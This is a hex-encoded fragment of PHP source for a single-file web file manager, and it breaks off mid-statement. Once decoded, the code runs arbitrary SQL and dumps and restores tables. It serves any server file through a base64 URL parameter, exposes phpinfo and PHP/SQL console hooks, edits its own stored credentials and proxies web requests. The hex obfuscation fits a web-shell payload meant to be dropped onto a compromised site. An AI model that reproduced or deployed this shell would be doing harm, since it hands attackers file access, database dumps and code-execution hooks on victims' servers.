0666d5f73716c28247175657279297b0d0a09676c6f62616c2024666d5f636f6e6669673b0d0a092471756572793d7472696d28247175657279293b0d0a096f625f737461727428293b0d0a0924636f6e6e656374696f6e203d20666d5f73716c5f636f6e6e65637428293b0d0a096966202824636f6e6e656374696f6e2d3e636f6e6e6563745f6572726f7229207b0d0a09096f625f656e645f636c65616e28293b090d0a090972657475726e2024636f6e6e656374696f6e2d3e636f6e6e6563745f6572726f723b0d0a097d0d0a0924636f6e6e656374696f6e2d3e7365745f6368617273657428277574663827293b0d0a202020202471756572696564203d206d7973716c695f71756572792824636f6e6e656374696f6e2c247175657279293b0d0a096966202824717565726965643d3d3d66616c736529207b0d0a09096f625f656e645f636c65616e28293b090d0a090972657475726e206d7973716c695f6572726f722824636f6e6e656374696f6e293b0d0a202020207d20656c7365207b0d0a090969662821656d70747928247175657269656429297b0d0a0909097768696c652824726f77203d206d7973716c695f66657463685f6173736f632824717565726965642929207b0d0a090909092471756572795f726573756c745b5d3d202024726f773b0d0a0909097d0d0a09097d0d0a0909247664756d703d656d707479282471756572795f726573756c74293f27273a7661725f6578706f7274282471756572795f726573756c742c74727565293b090d0a09096f625f656e645f636c65616e28293b090d0a090924636f6e6e656374696f6e2d3e636c6f736528293b0d0a090972657475726e20273c7072653e272e7374726970736c617368657328247664756d70292e273c2f7072653e273b0d0a097d0d0a7d0d0a0d0a66756e6374696f6e20666d5f6261636b75705f7461626c657328247461626c6573203d20272a272c202466756c6c5f6261636b7570203d207472756529207b0d0a09676c6f62616c2024706174683b0d0a09246d7973716c6462203d20666d5f73716c5f636f6e6e65637428293b0d0a092464656c696d69746572203d20223b205c6e20205c6e223b0d0a09696628247461626c6573203d3d20272a2729097b0d0a0909247461626c6573203d20617272617928293b0d0a090924726573756c74203d20246d7973716c64622d3e7175657279282753484f57205441424c455327293b0d0a09097768696c652824726f77203d206d7973716c695f66657463685f726f772824726573756c742929097b0d0a090909247461626c65735b5d203d2024726f775b305d3b0d0a09097d0d0a097d20656c7365207b0d0a0909247461626c6573203d2069735f617272617928247461626c657329203f20247461626c6573203a206578706c6f646528272c272c247461626c6573293b0d0a097d0d0a202020200d0a092472657475726e3d27273b0d0a09666f726561636828247461626c657320617320247461626c6529097b0d0a090924726573756c74203d20246d7973716c64622d3e7175657279282753454c454354202a2046524f4d20272e247461626c65293b0d0a0909246e756d5f6669656c6473203d206d7973716c695f6e756d5f6669656c64732824726573756c74293b0d0a09092472657475726e2e3d202744524f50205441424c45204946204558495354532060272e247461626c652e2760272e2464656c696d697465723b0d0a090924726f7732203d206d7973716c695f66657463685f726f7728246d7973716c64622d3e7175657279282753484f5720435245415445205441424c4520272e247461626c6529293b0d0a09092472657475726e2e3d24726f77325b315d2e2464656c696d697465723b0d0a2020202020202020696620282466756c6c5f6261636b757029207b0d0a0909666f7220282469203d20303b202469203c20246e756d5f6669656c64733b2024692b2b2920207b0d0a0909097768696c652824726f77203d206d7973716c695f66657463685f726f772824726573756c742929207b0d0a090909092472657475726e2e3d2027494e5345525420494e544f2060272e247461626c652e27602056414c55455328273b0d0a09090909666f7228246a3d303b20246a3c246e756d5f6669656c64733b20246a2b2b29097b0d0a090909090924726f775b246a5d203d20616464736c61736865732824726f775b246a5d293b0d0a090909090924726f775b246a5d203d207374725f7265706c61636528225c6e222c225c5c6e222c24726f775b246a5d293b0d0a09090909096966202869737365742824726f775b246a5d2929207b202472657475726e2e3d202722272e24726f775b246a5d2e272227203b207d20656c7365207b202472657475726e2e3d20272222273b207d0d0a090909090969662028246a3c28246e756d5f6669656c64732d312929207b202472657475726e2e3d20272c273b207d0d0a090909097d0d0a090909092472657475726e2e3d202729272e2464656c696d697465723b0d0a0909097d0d0a090920207d0d0a09097d20656c7365207b200d0a09092472657475726e203d20707265675f7265706c6163652822234155544f5f494e4352454d454e543d5b5c645d2b20236973222c2027272c202472657475726e293b0d0a09097d0d0a09092472657475726e2e3d225c6e5c6e5c6e223b0d0a097d0d0a0d0a092f2f736176652066696c650d0a202020202466696c653d676d646174652822592d6d2d645f482d692d73222c74696d652829292e272e73716c273b0d0a092468616e646c65203d20666f70656e282466696c652c27772b27293b0d0a09667772697465282468616e646c652c2472657475726e293b0d0a0966636c6f7365282468616e646c65293b0d0a0924616c657274203d20276f6e436c69636b3d22696628636f6e6669726d285c27272e205f5f282746696c652073656c656374656427292e273a205c6e272e202466696c652e20272e205c6e272e5f5f282741726520796f75207375726520796f752077616e7420746f2064656c65746520746869732066696c653f2729202e20275c27292920646f63756d656e742e6c6f636174696f6e2e68726566203d205c273f64656c6574653d27202e202466696c65202e202726706174683d27202e20247061746820202e20275c2722273b0d0a2020202072657475726e202466696c652e273a20272e666d5f6c696e6b2827646f776e6c6f6164272c24706174682e2466696c652c5f5f2827446f776e6c6f616427292c5f5f2827446f776e6c6f616427292e2720272e2466696c65292e27203c6120687265663d222322207469746c653d2227202e205f5f282744656c6574652729202e202720272e202466696c65202e2027222027202e2024616c657274202e20273e27202e205f5f282744656c6574652729202e20273c2f613e273b0d0a7d0d0a0d0a66756e6374696f6e20666d5f726573746f72655f7461626c6573282473716c46696c65546f4578656375746529207b0d0a09246d7973716c6462203d20666d5f73716c5f636f6e6e65637428293b0d0a092464656c696d69746572203d20223b205c6e20205c6e223b0d0a202020202f2f204c6f616420616e64206578706c6f6465207468652073716c2066696c650d0a202020202466203d20666f70656e282473716c46696c65546f457865637574652c22722b22293b0d0a202020202473716c46696c65203d2066726561642824662c66696c6573697a65282473716c46696c65546f4578656375746529293b0d0a202020202473716c4172726179203d206578706c6f6465282464656c696d697465722c2473716c46696c65293b0d0a090d0a202020202f2f50726f63657373207468652073716c2066696c652062792073746174656d656e74730d0a20202020666f726561636820282473716c4172726179206173202473746d7429207b0d0a2020202020202020696620287374726c656e282473746d74293e33297b0d0a09090924726573756c74203d20246d7973716c64622d3e7175657279282473746d74293b0d0a09090909696620282124726573756c74297b0d0a09090909092473716c4572726f72436f6465203d206d7973716c695f6572726e6f28246d7973716c64622d3e636f6e6e656374696f6e293b0d0a09090909092473716c4572726f7254657874203d206d7973716c695f6572726f7228246d7973716c64622d3e636f6e6e656374696f6e293b0d0a09090909092473716c53746d742020202020203d202473746d743b0d0a0909090909627265616b3b0d0a20202020202020202020200920202020207d0d0a20202020202020202020200920207d0d0a20202020202020202020207d0d0a69662028656d707479282473716c4572726f72436f646529292072657475726e205f5f28275375636365737327292e2720e2809420272e2473716c46696c65546f457865637574653b0d0a656c73652072657475726e202473716c4572726f72546578742e273c62722f3e272e2473746d743b0d0a7d0d0a0d0a66756e6374696f6e20666d5f696d675f6c696e6b282466696c656e616d65297b0d0a0972657475726e20272e2f272e626173656e616d65285f5f46494c455f5f292e273f696d673d272e6261736536345f656e636f6465282466696c656e616d65293b0d0a7d0d0a0d0a66756e6374696f6e20666d5f686f6d655f7374796c6528297b0d0a0972657475726e20270d0a696e7075742c20696e7075742e666d5f696e707574207b0d0a09746578742d696e64656e743a203270783b0d0a7d0d0a0d0a696e7075742c2074657874617265612c2073656c6563742c20696e7075742e666d5f696e707574207b0d0a09636f6c6f723a20626c61636b3b0d0a09666f6e743a206e6f726d616c203870742056657264616e612c20417269616c2c2048656c7665746963612c2073616e732d73657269663b0d0a09626f726465722d636f6c6f723a20626c61636b3b0d0a096261636b67726f756e642d636f6c6f723a2023464346434643206e6f6e652021696d706f7274616e743b0d0a09626f726465722d7261646975733a20303b0d0a0970616464696e673a203270783b0d0a7d0d0a0d0a696e7075742e666d5f696e707574207b0d0a096261636b67726f756e643a2023464346434643206e6f6e652021696d706f7274616e743b0d0a09637572736f723a20706f696e7465723b0d0a7d0d0a0d0a2e686f6d65207b0d0a096261636b67726f756e642d696d6167653a2075726c2822646174613a696d6167652f706e673b6261736536342c6956424f5277304b47676f414141414e5355684555674141414241414141415143414d414141416f4c513954414141414247644254554541414b2f494e77574b3651414141675251544652462f663339364f6a6f2f2f2f2f745430327a722b6677363652746a343332544570334d584532444172335459703179346d744477322f37424d2f37424f715670632f386c33316a63717136656e7763484232546769356a677156706246767261326e4241562f507a383253306a6e7830573354556b7153676934654868345473726534776f737a30323675506a7a47596436557333796e417964554241354b6c33666d3565715a6157374f4467693256672b506a3475592b45774c6d35625939552f2f376a664c74432b744f4b336a636d2f373175326a596f3155596835614a6c2f736543336a456d31326b6d4a724941316a4d6d2f396155344c6830653031426c4961452f2f2f64684d64433749412f2f66545a3263334d57366e4e3330776639355664344a64586f58566f73386e453465664e2f2b3633494a67536e59686c374634637358743839475155774c2b2f6a6c3163343141712b666232676d744931724b613243346b4a614941336a59726c547735746a3432336a596e33635845317a516f784d484270316c5a3344676d71696b732f2b6d636a4c4b38336a596b796d4d563354596b2f2f484d2b753757686d7472306f645470614f6a66574a66724870672f3842732f3774572f3756652b34553532444d6d334d4c426e34714c674e564d364d7a42336c45666c49754c2f2b6a412f2f2f32304c4f7a6a5878382f376c6257704a473243386b33546f734a4b4d413179776a6f704f52317a5970354473706961792b794b4e68714b536b384e57362f666a6e73374f7a32746e5a757a383837622b57336152592f2b6d733472434533546f7437563835624b786a7545413377343556683575687136616d34634678675a5a572f3971497577674b793073572b756a543454516e747a343233433869337a556a2f2b4b772f61356436554d78754c36777a4445722f2f2f2f63714a5166414141414b7830556b35542f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f41415756466245414141415a6445565964464e765a6e523359584a6c4145466b62324a6c49456c745957646c556d56685a486c78795755384141414132556c455156516f55324e596a51595973416945385539597a44596a5670475a52784d69454369744d72565a766f4d72546c5132455352514a32465677696e59626d7154554c6f6f686e45316731614b47532f664e4d746b3430795a394b564c516867596b7559374e78517658794856464e6e4b7a52363971707842504d657a304554415179545576536f676149466150634e71562f4d3564686132526c3254696d62365a2b5142445931584e2f5362753878464c4733654c44666c325541426a696c4f316f3031325a33656b316c5a56495741416d55544b364c30733370582b6a6a3670755a324177575576425261706873774d6455756a43697744776135564564504937796e556c63377631715955524c7175663432687a34354342504474774143726d2b524463784a594141414141424a52553545726b4a6767673d3d22293b0d0a096261636b67726f756e642d7265706561743a206e6f2d7265706561743b0d0a7d273b0d0a7d0d0a0d0a66756e6374696f6e20666d5f636f6e6669675f636865636b626f785f726f7728246e616d652c2476616c756529207b0d0a09676c6f62616c2024666d5f636f6e6669673b0d0a0972657475726e20273c74723e3c746420636c6173733d22726f7731223e3c696e7075742069643d22666d5f636f6e6669675f272e2476616c75652e2722206e616d653d22666d5f636f6e6669675b272e2476616c75652e275d222076616c75653d22312220272e28656d7074792824666d5f636f6e6669675b2476616c75655d293f27273a27636865636b65643d22747275652227292e2720747970653d22636865636b626f78223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e3c6c6162656c20666f723d22666d5f636f6e6669675f272e2476616c75652e27223e272e246e616d652e273c2f74643e3c2f74723e273b0d0a7d0d0a0d0a66756e6374696f6e20666d5f70726f746f636f6c2829207b0d0a0969662028697373657428245f5345525645525b27485454505f534348454d45275d29292072657475726e20245f5345525645525b27485454505f534348454d45275d2e273a2f2f273b0d0a0969662028697373657428245f5345525645525b274854545053275d2920262620245f5345525645525b274854545053275d203d3d20276f6e27292072657475726e202768747470733a2f2f273b0d0a0969662028697373657428245f5345525645525b275345525645525f504f5254275d2920262620245f5345525645525b275345525645525f504f5254275d203d3d20343433292072657475726e202768747470733a2f2f273b0d0a0969662028697373657428245f5345525645525b27485454505f585f464f525741524445445f50524f544f275d2920262620245f5345525645525b27485454505f585f464f525741524445445f50524f544f275d203d3d2027687474707327292072657475726e202768747470733a2f2f273b0d0a0972657475726e2027687474703a2f2f273b0d0a7d0d0a0d0a66756e6374696f6e20666d5f736974655f75726c2829207b0d0a0972657475726e20666d5f70726f746f636f6c28292e245f5345525645525b27485454505f484f5354275d3b0d0a7d0d0a0d0a66756e6374696f6e20666d5f75726c282466756c6c3d66616c736529207b0d0a0924686f73743d2466756c6c3f666d5f736974655f75726c28293a272e273b0d0a0972657475726e2024686f73742e272f272e626173656e616d65285f5f46494c455f5f293b0d0a7d0d0a0d0a66756e6374696f6e20666d5f686f6d65282466756c6c3d66616c7365297b0d0a0972657475726e2027266e6273703b3c6120687265663d22272e666d5f75726c282466756c6c292e2722207469746c653d22272e5f5f2827486f6d6527292e27223e3c7370616e20636c6173733d22686f6d65223e266e6273703b266e6273703b266e6273703b266e6273703b3c2f7370616e3e3c2f613e273b0d0a7d0d0a0d0a66756e6374696f6e20666d5f72756e5f696e70757428246c6e6729207b0d0a09676c6f62616c2024666d5f636f6e6669673b0d0a092472657475726e203d2021656d7074792824666d5f636f6e6669675b27656e61626c655f272e246c6e672e275f636f6e736f6c65275d29203f200d0a09270d0a090909093c666f726d20206d6574686f643d22706f73742220616374696f6e3d22272e666d5f75726c28292e2722207374796c653d22646973706c61793a696e6c696e65223e0d0a090909093c696e70757420747970653d227375626d697422206e616d653d22272e246c6e672e2772756e222076616c75653d22272e737472746f757070657228246c6e67292e2720272e5f5f2827436f6e736f6c6527292e27223e0d0a090909093c2f666f726d3e0d0a27203a2027273b0d0a0972657475726e202472657475726e3b0d0a7d0d0a0d0a66756e6374696f6e20666d5f75726c5f70726f787928246d61746368657329207b0d0a09246c696e6b203d207374725f7265706c616365282726616d703b272c2726272c246d6174636865735b325d293b0d0a092475726c203d20697373657428245f4745545b2775726c275d293f245f4745545b2775726c275d3a27273b0d0a092470617273655f75726c203d2070617273655f75726c282475726c293b0d0a0924686f7374203d202470617273655f75726c5b27736368656d65275d2e273a2f2f272e2470617273655f75726c5b27686f7374275d2e272f273b0d0a096966202873756273747228246c696e6b2c302c32293d3d272f2f2729207b0d0a0909246c696e6b203d207375627374725f7265706c61636528246c696e6b2c666d5f70726f746f636f6c28292c302c32293b0d0a097d20656c73656966202873756273747228246c696e6b2c302c31293d3d272f2729207b0d0a0909246c696e6b203d207375627374725f7265706c61636528246c696e6b2c24686f73742c302c31293b090d0a097d20656c73656966202873756273747228246c696e6b2c302c32293d3d272e2f2729207b0d0a0909246c696e6b203d207375627374725f7265706c61636528246c696e6b2c24686f73742c302c32293b090d0a097d20656c73656966202873756273747228246c696e6b2c302c34293d3d27687474702729207b0d0a09092f2f616c6c6573206d616368656e2077756e6465727363686f6e0d0a097d20656c7365207b0d0a0909246c696e6b203d2024686f73742e246c696e6b3b0d0a097d200d0a0969662028246d6174636865735b315d3d3d27687265662720262620217374727269706f7328246c696e6b2c2027637373272929207b0d0a09092462617365203d20666d5f736974655f75726c28292e272f272e626173656e616d65285f5f46494c455f5f293b0d0a0909246261736571203d2024626173652e273f70726f78793d747275652675726c3d273b0d0a0909246c696e6b203d202462617365712e75726c656e636f646528246c696e6b293b0d0a097d20656c7365696620287374727269706f7328246c696e6b2c20276373732729297b0d0a09092f2fd0bad0b0d0ba2dd182d0be20d182d0bed0b6d0b520d0bfd0bed0b4d0bcd0b5d0bdd18fd182d18c20d0bdd0b0d0b4d0be0d0a097d0d0a0972657475726e20246d6174636865735b315d2e273d22272e246c696e6b2e2722273b0d0a7d0d0a200d0a66756e6374696f6e20666d5f74706c5f666f726d28246c6e675f74706c29207b0d0a09676c6f62616c20247b246c6e675f74706c2e275f74656d706c61746573277d3b0d0a092474706c5f617272203d206a736f6e5f6465636f646528247b246c6e675f74706c2e275f74656d706c61746573277d2c74727565293b0d0a0924737472203d2027273b0d0a09666f726561636820282474706c5f61727220617320246b74706c3d3e247674706c29207b0d0a090924737472202e3d20273c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22272e246c6e675f74706c2e275f6e616d655b5d222076616c75653d22272e246b74706c2e27223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e3c7465787461726561206e616d653d22272e246c6e675f74706c2e275f76616c75655b5d222020636f6c733d2235352220726f77733d22352220636c6173733d2274657874617265615f696e707574223e272e247674706c2e273c2f74657874617265613e203c696e707574206e616d653d2264656c5f272e72616e6428292e272220747970653d22627574746f6e22206f6e436c69636b3d22746869732e706172656e744e6f64652e706172656e744e6f64652e72656d6f766528293b222076616c75653d22272e5f5f282744656c65746527292e27222f3e3c2f74643e3c2f74723e273b0d0a097d0d0a72657475726e20270d0a3c7461626c653e0d0a3c74723e3c746820636f6c7370616e3d2232223e272e737472746f757070657228246c6e675f74706c292e2720272e5f5f282774656d706c6174657327292e2720272e666d5f72756e5f696e70757428246c6e675f74706c292e273c2f74683e3c2f74723e0d0a3c666f726d206d6574686f643d22706f73742220616374696f6e3d22223e0d0a3c696e70757420747970653d2268696464656e222076616c75653d22272e246c6e675f74706c2e2722206e616d653d2274706c5f656469746564223e0d0a3c74723e3c746420636c6173733d22726f7731223e272e5f5f28274e616d6527292e273c2f74643e3c746420636c6173733d22726f77322077686f6c65223e272e5f5f282756616c756527292e273c2f74643e3c2f74723e0d0a272e247374722e270d0a3c74723e3c746420636f6c7370616e3d22322220636c6173733d22726f7733223e3c696e707574206e616d653d227265732220747970653d22627574746f6e22206f6e436c69636b3d22646f63756d656e742e6c6f636174696f6e2e68726566203d205c27272e666d5f75726c28292e273f666d5f73657474696e67733d747275655c273b222076616c75653d22272e5f5f2827526573657427292e27222f3e203c696e70757420747970653d227375626d6974222076616c75653d22272e5f5f28275361766527292e2722203e3c2f74643e3c2f74723e0d0a3c2f666f726d3e0d0a3c666f726d206d6574686f643d22706f73742220616374696f6e3d22223e0d0a3c696e70757420747970653d2268696464656e222076616c75653d22272e246c6e675f74706c2e2722206e616d653d2274706c5f656469746564223e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22272e246c6e675f74706c2e275f6e65775f6e616d65222076616c75653d222220706c616365686f6c6465723d22272e5f5f28274e657727292e2720272e5f5f28274e616d6527292e27223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e3c7465787461726561206e616d653d22272e246c6e675f74706c2e275f6e65775f76616c7565222020636f6c733d2235352220726f77733d22352220636c6173733d2274657874617265615f696e7075742220706c616365686f6c6465723d22272e5f5f28274e657727292e2720272e5f5f282756616c756527292e27223e3c2f74657874617265613e3c2f74643e3c2f74723e0d0a3c74723e3c746420636f6c7370616e3d22322220636c6173733d22726f7733223e3c696e70757420747970653d227375626d6974222076616c75653d22272e5f5f282741646427292e2722203e3c2f74643e3c2f74723e0d0a3c2f666f726d3e0d0a3c2f7461626c653e0d0a273b0d0a7d0d0a0d0a2f2a20456e642046756e6374696f6e73202a2f0d0a0d0a2f2f20617574686f72697a6174696f6e0d0a6966202824617574685b27617574686f72697a65275d29207b0d0a0969662028697373657428245f504f53545b276c6f67696e275d2920262620697373657428245f504f53545b2770617373776f7264275d29297b0d0a09096966202828245f504f53545b276c6f67696e275d3d3d24617574685b276c6f67696e275d292026262028245f504f53545b2770617373776f7264275d3d3d24617574685b2770617373776f7264275d2929207b0d0a090909736574636f6f6b69652824617574685b27636f6f6b69655f6e616d65275d2c2024617574685b276c6f67696e275d2e277c272e6d64352824617574685b2770617373776f7264275d292c2074696d652829202b20283836343030202a2024617574685b27646179735f617574686f72697a6174696f6e275d29293b0d0a090909245f434f4f4b49455b24617574685b27636f6f6b69655f6e616d65275d5d3d24617574685b276c6f67696e275d2e277c272e6d64352824617574685b2770617373776f7264275d293b0d0a09097d0d0a097d0d0a096966202821697373657428245f434f4f4b49455b24617574685b27636f6f6b69655f6e616d65275d5d29204f522028245f434f4f4b49455b24617574685b27636f6f6b69655f6e616d65275d5d213d24617574685b276c6f67696e275d2e277c272e6d64352824617574685b2770617373776f7264275d292929207b0d0a09096563686f20270d0a3c21646f63747970652068746d6c3e0d0a3c68746d6c3e0d0a3c686561643e0d0a3c6d65746120636861727365743d227574662d3822202f3e0d0a3c6d657461206e616d653d2276696577706f72742220636f6e74656e743d2277696474683d6465766963652d77696474682c20696e697469616c2d7363616c653d3122202f3e0d0a3c7469746c653e272e5f5f282746696c65206d616e6167657227292e273c2f7469746c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a3c666f726d20616374696f6e3d2222206d6574686f643d22706f7374223e0d0a272e5f5f28274c6f67696e27292e27203c696e707574206e616d653d226c6f67696e2220747970653d2274657874223e266e6273703b266e6273703b266e6273703b0d0a272e5f5f282750617373776f726427292e27203c696e707574206e616d653d2270617373776f72642220747970653d2270617373776f7264223e266e6273703b266e6273703b266e6273703b0d0a3c696e70757420747970653d227375626d6974222076616c75653d22272e5f5f2827456e74657227292e272220636c6173733d22666d5f696e707574223e0d0a3c2f666f726d3e0d0a272e666d5f6c616e675f666f726d28246c616e6775616765292e270d0a3c2f626f64793e0d0a3c2f68746d6c3e0d0a273b20200d0a64696528293b0d0a097d0d0a0969662028697373657428245f504f53545b2771756974275d2929207b0d0a0909756e73657428245f434f4f4b49455b24617574685b27636f6f6b69655f6e616d65275d5d293b0d0a0909736574636f6f6b69652824617574685b27636f6f6b69655f6e616d65275d2c2027272c2074696d652829202d20283836343030202a2024617574685b27646179735f617574686f72697a6174696f6e275d29293b0d0a090968656164657228274c6f636174696f6e3a20272e666d5f736974655f75726c28292e245f5345525645525b27524551554553545f555249275d293b0d0a097d0d0a7d0d0a0d0a2f2f204368616e676520636f6e6669670d0a69662028697373657428245f4745545b27666d5f73657474696e6773275d2929207b0d0a0969662028697373657428245f4745545b27666d5f636f6e6669675f64656c657465275d2929207b200d0a0909756e73657428245f434f4f4b49455b27666d5f636f6e666967275d293b0d0a0909736574636f6f6b69652827666d5f636f6e666967272c2027272c2074696d652829202d20283836343030202a2024617574685b27646179735f617574686f72697a6174696f6e275d29293b0d0a090968656164657228274c6f636174696f6e3a20272e666d5f75726c28292e273f666d5f73657474696e67733d7472756527293b0d0a0909657869742830293b0d0a097d09656c736569662028697373657428245f504f53545b27666d5f636f6e666967275d2929207b200d0a090924666d5f636f6e666967203d20245f504f53545b27666d5f636f6e666967275d3b0d0a0909736574636f6f6b69652827666d5f636f6e666967272c2073657269616c697a652824666d5f636f6e666967292c2074696d652829202b20283836343030202a2024617574685b27646179735f617574686f72697a6174696f6e275d29293b0d0a0909245f434f4f4b49455b27666d5f636f6e666967275d203d2073657269616c697a652824666d5f636f6e666967293b0d0a0909246d7367203d205f5f282753657474696e677327292e2720272e5f5f2827646f6e6527293b0d0a097d09656c736569662028697373657428245f504f53545b27666d5f6c6f67696e275d2929207b200d0a090969662028656d70747928245f504f53545b27666d5f6c6f67696e275d5b27617574686f72697a65275d292920245f504f53545b27666d5f6c6f67696e275d203d2061727261792827617574686f72697a6527203d3e2027302729202b20245f504f53545b27666d5f6c6f67696e275d3b0d0a090924666d5f6c6f67696e203d206a736f6e5f656e636f646528245f504f53545b27666d5f6c6f67696e275d293b0d0a090924666763203d2066696c655f6765745f636f6e74656e7473285f5f46494c455f5f293b0d0a090924736561726368203d20707265675f6d61746368282723617574686f72697a6174696f6e5b5c735d3f5c3d5b5c735d3f5c275c7b5c22282e2a3f295c225c7d5c273b23272c20246667632c20246d617463686573293b0d0a09096966202821656d70747928246d6174636865735b315d2929207b0d0a0909092466696c656d74696d65203d2066696c656d74696d65285f5f46494c455f5f293b0d0a090909247265706c616365203d207374725f7265706c61636528277b22272e246d6174636865735b315d2e27227d272c24666d5f6c6f67696e2c24666763293b0d0a0909096966202866696c655f7075745f636f6e74656e7473285f5f46494c455f5f2c20247265706c6163652929207b0d0a09090909246d7367202e3d205f5f282746696c65207570646174656427293b0d0a0909090969662028245f504f53545b27666d5f6c6f67696e275d5b276c6f67696e275d20213d2024617574685b276c6f67696e275d2920246d7367202e3d202720272e5f5f28274c6f67696e27292e273a20272e245f504f53545b27666d5f6c6f67696e275d5b276c6f67696e275d3b0d0a0909090969662028245f504f53545b27666d5f6c6f67696e275d5b2770617373776f7264275d20213d2024617574685b2770617373776f7264275d2920246d7367202e3d202720272e5f5f282750617373776f726427292e273a20272e245f504f53545b27666d5f6c6f67696e275d5b2770617373776f7264275d3b0d0a090909092461757468203d20245f504f53545b27666d5f6c6f67696e275d3b0d0a0909097d0d0a090909656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a0909096966202821656d7074792824666d5f636f6e6669675b27666d5f726573746f72655f74696d65275d292920746f756368285f5f46494c455f5f2c2466696c656d74696d65293b0d0a09097d0d0a097d20656c736569662028697373657428245f504f53545b2774706c5f656469746564275d2929207b200d0a0909246c6e675f74706c203d20245f504f53545b2774706c5f656469746564275d3b0d0a09096966202821656d70747928245f504f53545b246c6e675f74706c2e275f6e616d65275d2929207b0d0a09090924666d5f706870203d206a736f6e5f656e636f64652861727261795f636f6d62696e6528245f504f53545b246c6e675f74706c2e275f6e616d65275d2c245f504f53545b246c6e675f74706c2e275f76616c7565275d292c4a534f4e5f4845585f41504f53293b0d0a09097d20656c73656966202821656d70747928245f504f53545b246c6e675f74706c2e275f6e65775f6e616d65275d2929207b0d0a09090924666d5f706870203d206a736f6e5f656e636f6465286a736f6e5f6465636f646528247b246c6e675f74706c2e275f74656d706c61746573277d2c74727565292b617272617928245f504f53545b246c6e675f74706c2e275f6e65775f6e616d65275d3d3e245f504f53545b246c6e675f74706c2e275f6e65775f76616c7565275d292c4a534f4e5f4845585f41504f53293b0d0a09097d0d0a09096966202821656d7074792824666d5f7068702929207b0d0a09090924666763203d2066696c655f6765745f636f6e74656e7473285f5f46494c455f5f293b0d0a09090924736561726368203d20707265675f6d61746368282723272e246c6e675f74706c2e275f74656d706c617465735b5c735d3f5c3d5b5c735d3f5c275c7b5c22282e2a3f295c225c7d5c273b23272c20246667632c20246d617463686573293b0d0a0909096966202821656d70747928246d6174636865735b315d2929207b0d0a090909092466696c656d74696d65203d2066696c656d74696d65285f5f46494c455f5f293b0d0a09090909247265706c616365203d207374725f7265706c61636528277b22272e246d6174636865735b315d2e27227d272c24666d5f7068702c24666763293b0d0a090909096966202866696c655f7075745f636f6e74656e7473285f5f46494c455f5f2c20247265706c6163652929207b0d0a0909090909247b246c6e675f74706c2e275f74656d706c61746573277d203d2024666d5f7068703b0d0a0909090909246d7367202e3d205f5f282746696c65207570646174656427293b0d0a090909097d20656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a090909096966202821656d7074792824666d5f636f6e6669675b27666d5f726573746f72655f74696d65275d292920746f756368285f5f46494c455f5f2c2466696c656d74696d65293b0d0a0909097d090d0a09097d20656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a097d0d0a7d0d0a0d0a2f2f204a7573742073686f7720696d6167650d0a69662028697373657428245f4745545b27696d67275d2929207b0d0a092466696c653d6261736536345f6465636f646528245f4745545b27696d67275d293b0d0a096966202824696e666f3d676574696d61676573697a65282466696c6529297b0d0a090973776974636820202824696e666f5b325d297b092f2f313d4749462c20323d4a50472c20333d504e472c20343d5357462c20353d5053442c20363d424d500d0a0909096361736520313a20246578743d27676966273b20627265616b3b0d0a0909096361736520323a20246578743d276a706567273b20627265616b3b0d0a0909096361736520333a20246578743d27706e67273b20627265616b3b0d0a0909096361736520363a20246578743d27626d70273b20627265616b3b0d0a09090964656661756c743a2064696528293b0d0a09097d0d0a09096865616465722822436f6e74656e742d747970653a20696d6167652f2465787422293b0d0a09096563686f2066696c655f6765745f636f6e74656e7473282466696c65293b0d0a090964696528293b0d0a097d0d0a7d0d0a0d0a2f2f204a75737420646f776e6c6f61642066696c650d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b0d0a092466696c653d6261736536345f6465636f646528245f4745545b27646f776e6c6f6164275d293b0d0a09666d5f646f776e6c6f6164282466696c65293b090d0a7d0d0a0d0a2f2f204a7573742073686f7720696e666f0d0a69662028697373657428245f4745545b27706870696e666f275d2929207b0d0a09706870696e666f28293b200d0a0964696528293b0d0a7d0d0a0d0a2f2f204d696e692070726f78792c206d616e792062756773210d0a69662028697373657428245f4745545b2770726f7879275d29202626202821656d7074792824666d5f636f6e6669675b27656e61626c655f70726f7879275d292929207b0d0a092475726c203d20697373657428245f4745545b2775726c275d293f75726c6465636f646528245f4745545b2775726c275d293a27273b0d0a092470726f78795f666f726d203d20270d0a3c646976207374796c653d22706f736974696f6e3a72656c61746976653b7a2d696e6465783a3130303530303b6261636b67726f756e643a206c696e6561722d6772616469656e7428746f20626f74746f6d2c20234344354335432030252c23626665386639203530252c23396664386566203531252c233261623065642031303025293b223e0d0a093c666f726d20616374696f6e3d2222206d6574686f643d22474554223e0d0a093c696e70757420747970653d2268696464656e22206e616d653d2270726f7879222076616c75653d2274727565223e0d0a09272e666d5f686f6d6528292e27203c6120687265663d22272e2475726c2e2722207461726765743d225f626c616e6b223e55726c3c2f613e3a203c696e70757420747970653d227465787422206e616d653d2275726c222076616c75653d22272e2475726c2e27222073697a653d223535223e0d0a093c696e70757420747970653d227375626d6974222076616c75653d22272e5f5f282753686f7727292e272220636c6173733d22666d5f696e707574223e0d0a093c2f666f726d3e0d0a3c2f6469763e0d0a273b0d0a09696620282475726c29207b0d0a0909246368203d206375726c5f696e6974282475726c293b0d0a09096375726c5f7365746f7074282463682c204355524c4f50545f555345524147454e542c202744656e3178787820746573742070726f787927293b0d